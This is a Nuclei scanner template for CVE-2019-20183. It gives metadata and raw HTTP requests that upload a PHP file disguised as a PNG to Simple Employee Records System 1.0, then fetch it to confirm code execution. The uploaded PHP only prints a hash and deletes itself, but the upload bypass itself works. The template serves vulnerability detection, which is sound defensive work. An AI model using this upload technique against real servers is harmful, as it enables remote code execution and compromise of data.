id: CVE-2019-20183

info:
  name: Simple Employee Records System 1.0 - Unrestricted File Upload
  author: pikpikcu,j4vaovo
  severity: high
  description: |
    Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
  remediation: |
    Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20183
    - https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-20183
    cwe-id: CWE-434
    epss-score: 0.06716
    epss-percentile: 0.93083
    cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: employee_records_system_project
    product: employee_records_system
  tags: cve,cve2019,edb,rce,fileupload,intrusive,employee_records_system_project,vuln

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337

        -----------------------------5825462663702204104870787337
        Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
        Content-Type: image/png

        <?php
        echo md5('CVE-2019-20183');
        unlink(__FILE__);
        ?>
        -----------------------------5825462663702204104870787337--
      - |
        GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "1ad0d710225c472cb7396b3c1d97e4dd"

    extractors:
      - type: regex
        name: endpoint
        regex:
          - '(?:[a-zA-Z0-9+\/])*_poc.php'
        internal: true
        part: body
# digest: 4a0a00473045022100a6420601182d0082d0ca80c04f0a92d837a11c339437cf626828cb1cf6bcdc0002205405125128df1310a2f98802e59dc8090bc179ed4f39e679ec28c66c9293f966:922c64590222798bb761d5b6d8e72950